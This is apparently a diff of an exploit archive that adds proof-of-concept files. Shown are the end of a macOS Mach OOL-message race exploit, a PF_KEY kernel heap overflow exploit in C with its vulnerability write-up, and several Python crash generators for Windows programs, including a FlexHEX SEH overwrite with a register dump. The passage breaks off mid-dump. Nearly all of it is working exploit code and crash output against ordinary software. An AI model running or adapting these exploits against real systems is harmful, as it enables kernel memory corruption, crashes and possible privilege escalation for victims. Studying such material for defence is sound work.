for (uint32_t i = 0; i < n_pairs; i++) {
|
||||
// first element of the pair is an anonymous page:
|
||||
err = mach_vm_allocate(mach_task_self(),
|
||||
&addr,
|
||||
UNIT_SIZE,
|
||||
VM_FLAGS_FIXED);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("mach_vm_allocate with VM_MAP_FIXED failed: %x %s\n", err, mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
memset((void*)addr, 'B', UNIT_SIZE);
|
||||
|
||||
addr += UNIT_SIZE;
|
||||
|
||||
// second element is a page from the memory entry
|
||||
err = mach_vm_map(mach_task_self(),
|
||||
&addr, // &address
|
||||
(mach_vm_size_t)UNIT_SIZE, // size
|
||||
0xfff, // mask
|
||||
VM_FLAGS_FIXED, // flags
|
||||
mem_port, // object
|
||||
(mach_vm_offset_t)(i*UNIT_SIZE), // offset
|
||||
0, // copy
|
||||
3, // cur_prot
|
||||
3, // max_prot
|
||||
2);// inheritance
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to mach_vm_map a page from the memory object: %x %s\n", err, mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
addr += UNIT_SIZE;
|
||||
}
|
||||
|
||||
|
||||
// split this thing in to two overlapping OOL regions:
|
||||
// offset is the n'th anonymous region which should be at the end of the OOL region of msg_a
|
||||
// and also at the start of the OOL region of msg_b
|
||||
|
||||
// we'll send a to ourselves, and b to the other process
|
||||
|
||||
uint32_t msg_a_size = UNIT_SIZE + (2 * offset * UNIT_SIZE);
|
||||
uint8_t* msg_a_buf = (void*)target_buffer_base;
|
||||
|
||||
uint8_t* msg_b_buf = (uint8_t*)(target_buffer_base + msg_a_size - UNIT_SIZE);
|
||||
uint32_t msg_b_size = (n_pairs * 2 * UNIT_SIZE) - msg_a_size + UNIT_SIZE;
|
||||
|
||||
printf("msg_a %p %x\n", msg_a_buf, msg_a_size);
|
||||
printf("msg_b %p %x\n", msg_b_buf, msg_b_size);
|
||||
|
||||
mach_port_t msg_a_port = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_a_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate failed: %x %s\n", err, mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct send_msg msg_a = {};
|
||||
struct send_msg msg_b = {};
|
||||
|
||||
// message a
|
||||
msg_a.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX;
|
||||
msg_a.hdr.msgh_size = sizeof(struct send_msg);
|
||||
msg_a.hdr.msgh_remote_port = msg_a_port;
|
||||
msg_a.hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg_a.hdr.msgh_voucher_port = MACH_PORT_NULL;
|
||||
msg_a.hdr.msgh_id = 0x41424344;
|
||||
|
||||
msg_a.body.msgh_descriptor_count = 1;
|
||||
|
||||
msg_a.desc.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||
msg_a.desc.copy = MACH_MSG_VIRTUAL_COPY;
|
||||
msg_a.desc.deallocate = 1;
|
||||
msg_a.desc.address = msg_a_buf;
|
||||
msg_a.desc.size = msg_a_size;
|
||||
|
||||
// message b
|
||||
msg_b.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX;
|
||||
msg_b.hdr.msgh_size = sizeof(struct send_msg);
|
||||
msg_b.hdr.msgh_remote_port = shared_port;
|
||||
msg_b.hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg_b.hdr.msgh_voucher_port = MACH_PORT_NULL;
|
||||
msg_b.hdr.msgh_id = 0x41424344;
|
||||
|
||||
msg_b.body.msgh_descriptor_count = 1;
|
||||
|
||||
msg_b.desc.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||
msg_b.desc.copy = MACH_MSG_VIRTUAL_COPY;
|
||||
msg_b.desc.deallocate = 1;
|
||||
msg_b.desc.address = msg_b_buf;
|
||||
msg_b.desc.size = msg_b_size;
|
||||
|
||||
// try sending them in parallel;
|
||||
// need a thread we can try to sync with:
|
||||
lock_a = 0;
|
||||
lock_b = 0;
|
||||
|
||||
pthread_t th;
|
||||
pthread_create(&th, NULL, thread_func, (void*)&msg_a);
|
||||
|
||||
while(lock_a == 0){;}
|
||||
lock_b = 1;
|
||||
|
||||
kern_return_t msg_b_err = mach_msg_send(&msg_b.hdr);
|
||||
|
||||
void* remote_retval = 0;
|
||||
pthread_join(th, &remote_retval);
|
||||
kern_return_t msg_a_err = (kern_return_t)remote_retval;
|
||||
|
||||
printf("msg_a send: %x %s\n", msg_a_err, mach_error_string(msg_a_err));
|
||||
printf("msg_b send: %x %s\n", msg_b_err, mach_error_string(msg_b_err));
|
||||
|
||||
struct rcv_msg rcv_msg_a = {0};
|
||||
|
||||
if (msg_a_err == KERN_SUCCESS) {
|
||||
rcv_msg_a.hdr.msgh_local_port = msg_a_port;
|
||||
rcv_msg_a.hdr.msgh_size = sizeof(struct rcv_msg);
|
||||
err = mach_msg_receive(&rcv_msg_a.hdr);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("mach_msg_receive failed for msg_a_port: %x %s\n", err, mach_error_string(err));
|
||||
}
|
||||
}
|
||||
|
||||
printf("dual send success!\n");
|
||||
char* rcv_a_addr = rcv_msg_a.desc.address;
|
||||
uint32_t rcv_a_size = rcv_msg_a.desc.size;
|
||||
|
||||
printf("a: %p %x\n", rcv_a_addr, rcv_a_size);
|
||||
|
||||
volatile char* rcv_a_char_addr = rcv_a_addr + (rcv_a_size - 1);
|
||||
|
||||
|
||||
printf("rcv_a_char_addr: %p\n", rcv_a_char_addr);
|
||||
|
||||
while (1) {
|
||||
*rcv_a_char_addr = 'X';
|
||||
*rcv_a_char_addr = 'O';
|
||||
}
|
||||
}
|
||||
|
||||
void do_parent(mach_port_t shared_port) {
|
||||
kern_return_t err;
|
||||
|
||||
// wait for our child to send us an OOL message
|
||||
struct rcv_msg msg = {0};
|
||||
msg.hdr.msgh_local_port = shared_port;
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
err = mach_msg_receive(&msg.hdr);
|
||||
MACH_ERR("parent receiving child OOL message", err);
|
||||
|
||||
char* rcv_b_addr = msg.desc.address;
|
||||
volatile char* rcv_b_char_addr = rcv_b_addr + (UNIT_SIZE-1);
|
||||
|
||||
printf("rcv_a_char_addr: %p\n", rcv_b_char_addr);
|
||||
|
||||
while(1) {
|
||||
printf("parent sees in OOL desc: %c\n", *rcv_b_char_addr);
|
||||
usleep(100000);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
setup_shared_port();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid == -1) {
|
||||
FAIL("forking");
|
||||
}
|
||||
|
||||
if (child_pid == 0) {
|
||||
mach_port_t shared_port_child = recover_shared_port_child();
|
||||
do_child(shared_port_child);
|
||||
} else {
|
||||
mach_port_t shared_port_parent = recover_shared_port_parent();
|
||||
do_parent(shared_port_parent);
|
||||
}
|
||||
|
||||
kill(child_pid, 9);
|
||||
int status;
|
||||
wait(&status);
|
||||
|
||||
return 0;
|
||||
}
|
351
exploits/multiple/dos/46300.c
Normal file
351
exploits/multiple/dos/46300.c
Normal file
|
@ -0,0 +1,351 @@
|
|||
/*
|
||||
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.
|
||||
|
||||
key_getsastat handles SADB_GETSASTAT messages:
|
||||
|
||||
It allocates a buffer based on the number of SAs there currently are:
|
||||
|
||||
bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
|
||||
|
||||
KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);
|
||||
|
||||
It the retrieves the list of SPIs we are querying for, and the length of that list:
|
||||
|
||||
sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];
|
||||
|
||||
arg_count = sa_stats_arg->sadb_sastat_list_len;
|
||||
|
||||
// exit early if there are no requested SAs
|
||||
if (arg_count == 0) {
|
||||
printf("%s: No SAs requested.\n", __FUNCTION__);
|
||||
error = ENOENT;
|
||||
goto end;
|
||||
}
|
||||
res_count = 0;
|
||||
|
||||
It passes those, and the allocated buffer, to key_getsastatbyspi:
|
||||
|
||||
if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
|
||||
arg_count,
|
||||
sa_stats_sav,
|
||||
&res_count)) {
|
||||
|
||||
The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...
|
||||
|
||||
Looking at key_getsastatbyspi:
|
||||
|
||||
static int
|
||||
key_getsastatbyspi (struct sastat *stat_arg,
|
||||
u_int32_t max_stat_arg,
|
||||
struct sastat *stat_res,
|
||||
u_int32_t *max_stat_res)
|
||||
{
|
||||
int cur, found = 0;
|
||||
|
||||
if (stat_arg == NULL ||
|
||||
stat_res == NULL ||
|
||||
max_stat_res == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (cur = 0; cur < max_stat_arg; cur++) {
|
||||
if (key_getsastatbyspi_one(stat_arg[cur].spi,
|
||||
&stat_res[found]) == 0) {
|
||||
found++;
|
||||
}
|
||||
}
|
||||
*max_stat_res = found;
|
||||
|
||||
if (found) {
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.
|
||||
|
||||
Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
|
||||
containing multiple requests for that same, valid SPI.
|
||||
|
||||
Tested on MacOS 10.14.2 (18C54)
|
||||
*/
|
||||
|
||||
// @i41nbeer
|
||||
|
||||
#if 0
|
||||
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics
|
||||
|
||||
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.
|
||||
|
||||
key_getsastat handles SADB_GETSASTAT messages:
|
||||
|
||||
It allocates a buffer based on the number of SAs there currently are:
|
||||
|
||||
bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
|
||||
|
||||
KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);
|
||||
|
||||
It the retrieves the list of SPIs we are querying for, and the length of that list:
|
||||
|
||||
sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];
|
||||
|
||||
arg_count = sa_stats_arg->sadb_sastat_list_len;
|
||||
|
||||
// exit early if there are no requested SAs
|
||||
if (arg_count == 0) {
|
||||
printf("%s: No SAs requested.\n", __FUNCTION__);
|
||||
error = ENOENT;
|
||||
goto end;
|
||||
}
|
||||
res_count = 0;
|
||||
|
||||
It passes those, and the allocated buffer, to key_getsastatbyspi:
|
||||
|
||||
if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
|
||||
arg_count,
|
||||
sa_stats_sav,
|
||||
&res_count)) {
|
||||
|
||||
The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...
|
||||
|
||||
Looking at key_getsastatbyspi:
|
||||
|
||||
static int
|
||||
key_getsastatbyspi (struct sastat *stat_arg,
|
||||
u_int32_t max_stat_arg,
|
||||
struct sastat *stat_res,
|
||||
u_int32_t *max_stat_res)
|
||||
{
|
||||
int cur, found = 0;
|
||||
|
||||
if (stat_arg == NULL ||
|
||||
stat_res == NULL ||
|
||||
max_stat_res == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (cur = 0; cur < max_stat_arg; cur++) {
|
||||
if (key_getsastatbyspi_one(stat_arg[cur].spi,
|
||||
&stat_res[found]) == 0) {
|
||||
found++;
|
||||
}
|
||||
}
|
||||
*max_stat_res = found;
|
||||
|
||||
if (found) {
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.
|
||||
|
||||
Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
|
||||
containing multiple requests for that same, valid SPI.
|
||||
|
||||
Tested on MacOS 10.14.2 (18C54)
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <net/pfkeyv2.h>
|
||||
|
||||
#if 0
|
||||
struct sadb_msg {
|
||||
u_int8_t sadb_msg_version;
|
||||
u_int8_t sadb_msg_type;
|
||||
u_int8_t sadb_msg_errno;
|
||||
u_int8_t sadb_msg_satype;
|
||||
u_int16_t sadb_msg_len; // in 8-byte units
|
||||
u_int16_t sadb_msg_reserved;
|
||||
u_int32_t sadb_msg_seq;
|
||||
u_int32_t sadb_msg_pid;
|
||||
};
|
||||
|
||||
// extenstion header
|
||||
|
||||
struct sadb_ext {
|
||||
u_int16_t sadb_ext_len; // 8-byte units
|
||||
u_int16_t sadb_ext_type;
|
||||
};
|
||||
|
||||
// SADB_EXT_SA
|
||||
|
||||
struct sadb_sa {
|
||||
u_int16_t sadb_sa_len;
|
||||
u_int16_t sadb_sa_exttype;
|
||||
u_int32_t sadb_sa_spi;
|
||||
u_int8_t sadb_sa_replay;
|
||||
u_int8_t sadb_sa_state;
|
||||
u_int8_t sadb_sa_auth;
|
||||
u_int8_t sadb_sa_encrypt;
|
||||
u_int32_t sadb_sa_flags;
|
||||
};
|
||||
|
||||
// SADB_EXT_ADDRESS_SRC/DST
|
||||
// is this variable sized?
|
||||
|
||||
struct sadb_address {
|
||||
u_int16_t sadb_address_len;
|
||||
u_int16_t sadb_address_exttype;
|
||||
u_int8_t sadb_address_proto;
|
||||
u_int8_t sadb_address_prefixlen;
|
||||
u_int16_t sadb_address_reserved;
|
||||
};
|
||||
|
||||
// SADB_EXT_KEY_AUTH header
|
||||
|
||||
struct sadb_key {
|
||||
u_int16_t sadb_key_len;
|
||||
u_int16_t sadb_key_exttype;
|
||||
u_int16_t sadb_key_bits; // >> 3 -> bzero
|
||||
u_int16_t sadb_key_reserved;
|
||||
};
|
||||
|
||||
// SADB_EXT_SASTAT
|
||||
|
||||
struct sadb_sastat {
|
||||
u_int16_t sadb_sastat_len;
|
||||
u_int16_t sadb_sastat_exttype;
|
||||
u_int32_t sadb_sastat_dir;
|
||||
u_int32_t sadb_sastat_reserved;
|
||||
u_int32_t sadb_sastat_list_len;
|
||||
/* list of struct sastat comes after */
|
||||
} __attribute__ ((aligned(8)));
|
||||
|
||||
struct sastat {
|
||||
u_int32_t spi; /* SPI Value, network byte order */
|
||||
u_int32_t created; /* for lifetime */
|
||||
struct sadb_lifetime lft_c; /* CURRENT lifetime. */
|
||||
}; // no need to align
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
struct my_msg {
|
||||
struct sadb_msg hdr;
|
||||
|
||||
// required options
|
||||
struct sadb_sa sa; // SADB_EXT_SA
|
||||
|
||||
struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC
|
||||
struct sockaddr_in sockaddr_src; // 0x10 bytes
|
||||
struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST
|
||||
struct sockaddr_in sockaddr_dst; // 0x10 bytes
|
||||
|
||||
struct sadb_key key;
|
||||
char key_material[128/8];
|
||||
};
|
||||
|
||||
#define N_LIST_ENTRIES 32
|
||||
struct stat_msg {
|
||||
struct sadb_msg hdr;
|
||||
struct sadb_session_id sid;
|
||||
struct sadb_sastat stat;
|
||||
struct sastat list[N_LIST_ENTRIES];
|
||||
};
|
||||
|
||||
int main() {
|
||||
// get a PF_KEY socket:
|
||||
int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2);
|
||||
if (fd == -1) {
|
||||
perror("failed to get PF_KEY socket, got privs?");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got PF_KEY socket: %d\n", fd);
|
||||
|
||||
struct my_msg* msg = malloc(sizeof(struct my_msg));
|
||||
memset(msg, 0, sizeof(struct my_msg));
|
||||
|
||||
msg->hdr.sadb_msg_version = PF_KEY_V2;
|
||||
msg->hdr.sadb_msg_type = SADB_ADD;
|
||||
|
||||
msg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
|
||||
|
||||
msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3;
|
||||
msg->hdr.sadb_msg_pid = getpid();
|
||||
|
||||
// SADB_EXT_SA
|
||||
msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3;
|
||||
msg->sa.sadb_sa_exttype = SADB_EXT_SA;
|
||||
|
||||
// we need to fill in the fields correctly as we need at least one valid key
|
||||
msg->sa.sadb_sa_spi = 0x41414141;
|
||||
|
||||
msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg
|
||||
// -> 128 bit key size
|
||||
|
||||
// SADB_EXT_ADDRESS_SRC
|
||||
msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3;
|
||||
msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC;
|
||||
|
||||
msg->sockaddr_src.sin_len = 0x10;
|
||||
msg->sockaddr_src.sin_family = AF_INET;
|
||||
msg->sockaddr_src.sin_port = 4141;
|
||||
inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr);
|
||||
|
||||
|
||||
// SADB_EXT_ADDRESS_DST
|
||||
msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3;
|
||||
msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST;
|
||||
|
||||
msg->sockaddr_dst.sin_len = 0x10;
|
||||
msg->sockaddr_dst.sin_family = AF_INET;
|
||||
msg->sockaddr_dst.sin_port = 4242;
|
||||
inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr);
|
||||
|
||||
msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH;
|
||||
msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3;
|
||||
msg->key.sadb_key_bits = 128;
|
||||
|
||||
size_t amount_to_send = msg->hdr.sadb_msg_len << 3;
|
||||
printf("trying to write %zd bytes\n", amount_to_send);
|
||||
ssize_t written = write(fd, msg, amount_to_send);
|
||||
printf("written: %zd\n", written);
|
||||
|
||||
|
||||
|
||||
struct stat_msg * smsg = malloc(sizeof(struct stat_msg));
|
||||
memset(smsg, 0, sizeof(struct stat_msg));
|
||||
|
||||
smsg->hdr.sadb_msg_version = PF_KEY_V2;
|
||||
smsg->hdr.sadb_msg_type = SADB_GETSASTAT;
|
||||
|
||||
smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
|
||||
|
||||
smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3;
|
||||
smsg->hdr.sadb_msg_pid = getpid();
|
||||
|
||||
// SADB_EXT_SESSION_ID
|
||||
smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3;
|
||||
smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID;
|
||||
|
||||
// SADB_EXT_SASTAT
|
||||
smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3;
|
||||
smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT;
|
||||
|
||||
smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES;
|
||||
|
||||
for (int i = 0; i < N_LIST_ENTRIES; i++) {
|
||||
smsg->list[i].spi = 0x41414141;
|
||||
}
|
||||
|
||||
|
||||
amount_to_send = smsg->hdr.sadb_msg_len << 3;
|
||||
printf("trying to write %zd bytes\n", amount_to_send);
|
||||
written = write(fd, smsg, amount_to_send);
|
||||
printf("written: %zd\n", written);
|
||||
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
31
exploits/windows/dos/46289.py
Executable file
31
exploits/windows/dos/46289.py
Executable file
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/python
|
||||
# Exploit Title: AnyBurn x86 - Denial of Service (DoS)
|
||||
# Date: 30-01-2019
|
||||
# Exploit Author: Dino Covotsos - Telspace Systems
|
||||
# Vendor Homepage: http://www.anyburn.com/
|
||||
# Version: 4.3 (32-bit)
|
||||
# Software Link : http://www.anyburn.com/anyburn_setup.exe
|
||||
# Contact: services[@]telspace.co.za
|
||||
# Twitter: @telspacesystems (Greets to the Telspace Crew)
|
||||
# Tested Version: 4.3 (32-bit)
|
||||
# Tested on: Windows XP SP3 ENG x86
|
||||
# Note: The other exploitation field in Anyburn was discovered by Achilles
|
||||
# CVE: TBC from Mitre
|
||||
# Created in preparation for OSCE - DC - Telspace Systems
|
||||
# DOS PoC:
|
||||
# 1.) Generate exploit.txt, copy the contents to clipboard
|
||||
# 2.) In the application, open 'Convert image to file format'
|
||||
# 3.) Paste the contents of exploit.txt under 'Select source image file' and "Select Destination image file"
|
||||
# 4.) Click "Convert Now" and the program crashes
|
||||
|
||||
buffer = "A" * 10000
|
||||
|
||||
payload = buffer
|
||||
try:
|
||||
f=open("exploit.txt","w")
|
||||
print "[+] Creating %s bytes evil payload.." %len(payload)
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print "[+] File created!"
|
||||
except:
|
||||
print "File cannot be created"
|
26
exploits/windows/dos/46291.py
Executable file
26
exploits/windows/dos/46291.py
Executable file
|
@ -0,0 +1,26 @@
|
|||
# Exploit Title: Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)
|
||||
# Discovery by: Luis Martinez
|
||||
# Discovery Date: 2019-01-30
|
||||
# Vendor Homepage: https://www.ks-soft.net
|
||||
# Software Link : https://www.ks-soft.net/download/hm1190.exe
|
||||
# Tested Version: 11.90 Beta
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run python code : python Advanced_Host_Monitor_11.90_Beta.py
|
||||
# 2.- Open Advanced_Host_Monitor_11.90_Beta.txt and copy content to clipboard
|
||||
# 3.- Open HostMonitor
|
||||
# 4.- Help -> License...
|
||||
# 5.- Register Now
|
||||
# 6.- Name (Organization): -> l4m5
|
||||
# 7.- Paste ClipBoard on "Registration number:"
|
||||
# 8.- OK
|
||||
# 9.- Crashed
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
buffer = "\x41" * 1050
|
||||
f = open ("Advanced_Host_Monitor_11.90_Beta.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
21
exploits/windows/dos/46292.py
Executable file
21
exploits/windows/dos/46292.py
Executable file
|
@ -0,0 +1,21 @@
|
|||
# Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC)
|
||||
# Discovery by: Rafael Pedrero
|
||||
# Discovery Date: 2019-01-30
|
||||
# Vendor Homepage: http://amac.paqtool.com/
|
||||
# Software Link : http://amac.paqtool.com/
|
||||
# Tested Version: 5.4
|
||||
# Tested on: Windows XP SP3
|
||||
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run amac.exe
|
||||
# 2.- copy content amac_Crash.txt or 212 "A" to clipboard (result from this python script)
|
||||
# 3.- Go to Register - Amac Register Form and paste the result in all fields: "Your Name", "Your Company", "Register Code"
|
||||
# 4.- Click in Register button and you will see a crash.
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
crash = "\x41" * 212
|
||||
f = open ("amac_Crash.txt", "w")
|
||||
f.write(crash)
|
||||
f.close()
|
21
exploits/windows/dos/46293.py
Executable file
21
exploits/windows/dos/46293.py
Executable file
|
@ -0,0 +1,21 @@
|
|||
# Exploit Title: ASPRunner Professional v6.0.766 - Denial of Service (PoC)
|
||||
# Discovery by: Rafael Pedrero
|
||||
# Discovery Date: 2019-01-30
|
||||
# Vendor Homepage: http://www.xlinesoft.com/asprunnerpro
|
||||
# Software Link : http://www.xlinesoft.com/asprunnerpro
|
||||
# Tested Version: v6.0.766
|
||||
# Tested on: Windows XP SP3
|
||||
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run AspRunnerPro.exe
|
||||
# 2.- copy content AspRunnerPro_Crash.txt or 180 "A" to clipboard (result from this python script)
|
||||
# 3.- Go to Wizard "Create a new project" - in "Project name:" field paste the result (180 "A" or more)
|
||||
# 4.- Click in Next button and you will see a crash.
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
crash = "\x41" * 180
|
||||
f = open ("AspRunnerPro_Crash.txt", "w")
|
||||
f.write(crash)
|
||||
f.close()
|
72
exploits/windows/dos/46294.py
Executable file
72
exploits/windows/dos/46294.py
Executable file
|
@ -0,0 +1,72 @@
|
|||
# Exploit Title: FlexHEX v2.46 - Denial of Service (PoC) and SEH overwritten Crash PoC
|
||||
# Discovery by: Rafael Pedrero
|
||||
# Discovery Date: 2018-12-20
|
||||
# Vendor Homepage: http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
|
||||
# Software Link : http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
|
||||
# Tested Version: 2.46
|
||||
# Tested on: Windows XP SP3
|
||||
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run FlexHEX.exe
|
||||
# 2.- Go to Menu "Stream" - "New Stream" and copy content of FlexHEX_SEH_Crash.txt to clipboard
|
||||
# 3.- Paste the content into the field: 'Stream Name:'
|
||||
# 4.- Click 'OK' button and you will see a crash.
|
||||
|
||||
|
||||
'''
|
||||
Log data, item 21
|
||||
Address=0BADF00D
|
||||
Message= SEH record (nseh field) at 0x0012dde8 overwritten with unicode
|
||||
pattern : 0x006a0041 (offset 276), followed by 20 bytes of cyclic data
|
||||
after the handler
|
||||
|
||||
SEH chain of main thread
|
||||
Address SE handler
|
||||
0012DDFC FlexHEX.00420042
|
||||
00420042 8BC13B2C
|
||||
4E8B3C46 *** CORRUPT ENTRY ***
|
||||
|
||||
EAX 00410041 FlexHEX.00410041
|
||||
ECX 00000000
|
||||
EDX 00000000
|
||||
EBX 0012FA18
|
||||
ESP 0012DE3C UNICODE "AAAAAAAAAABBBB"
|
||||
EBP 00410041 FlexHEX.00410041
|
||||
ESI 0012DE78
|
||||
EDI 0012E69C
|
||||
EIP 00410041 FlexHEX.00410041
|
||||
C 0 ES 0023 32bit 0(FFFFFFFF)
|
||||
P 0 CS 001B 32bit 0(FFFFFFFF)
|
||||
A 1 SS 0023 32bit 0(FFFFFFFF)
|
||||
Z 0 DS 0023 32bit 0(FFFFFFFF)
|
||||
S 0 FS 003B 32bit 7FFDF000(FFF)
|
||||
T 0 GS 0000 NULL
|
||||
D 0
|
||||
O 0 LastErr ERROR_SUCCESS (00000000)
|
||||
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
|
||||
ST0 empty
|
||||
ST1 empty
|
||||
ST2 empty
|
||||
ST3 empty
|
||||
ST4 empty
|
||||
ST5 empty
|
||||
ST6 empty
|
||||
ST7 empty
|
||||
3 2 1 0 E S P U O Z D I
|
||||
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
|
||||
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
|
||||
|
||||
|
||||
'''
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
nseh = "BB"
|
||||
seh = "BB"
|
||||
|
||||
junk = "\x41" * 276
|
||||
crash = junk + nseh + seh
|
||||
f = open ("FlexHEX_SEH_Crash.txt", "w")
|
||||
f.write(crash)
|
||||
f.close()
|
55
exploits/windows/dos/46295.py
Executable file
55
exploits/windows/dos/46295.py
Executable file
|
@ -0,0 +1,55 @@
|
|||
# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
|
||||
# Discovery by: Rafael Pedrero
|
||||
# Discovery Date: 2019-01-31
|
||||
# Vendor Homepage: http://www.hainsoft.com/
|
||||
# Software Link : http://www.hainsoft.com/
|
||||
# Tested Version: 1.74
|
||||
# Tested on: Windows XP SP3
|
||||
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
||||
|
||||
# Steps to Produce the Crash:
|
||||
# 1.- Run LanHelper.exe
|
||||
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script)
|
||||
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script
|
||||
# 4.- Paste the result from this python script in "Message text:", same form.
|
||||
# 5.- Click in Send button and you will see a crash.
|
||||
|
||||
'''
|
||||
EAX 00410041 LanHelpe.00410041
|
||||
ECX 00410041 LanHelpe.00410041
|
||||
EDX 00410041 LanHelpe.00410041
|
||||
EBX 00410745 LanHelpe.00410745
|
||||
ESP 013DFE70
|
||||
EBP 013DFE94
|
||||
ESI 00B6F268
|
||||
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA"
|
||||
EIP 00401D0A LanHelpe.00401D0A
|
||||
C 0 ES 0023 32bit 0(FFFFFFFF)
|
||||
P 1 CS 001B 32bit 0(FFFFFFFF)
|
||||
A 0 SS 0023 32bit 0(FFFFFFFF)
|
||||
Z 0 DS 0023 32bit 0(FFFFFFFF)
|
||||
S 0 FS 003B 32bit 7FFD9000(FFF)
|
||||
T 0 GS 0000 NULL
|
||||
D 0
|
||||
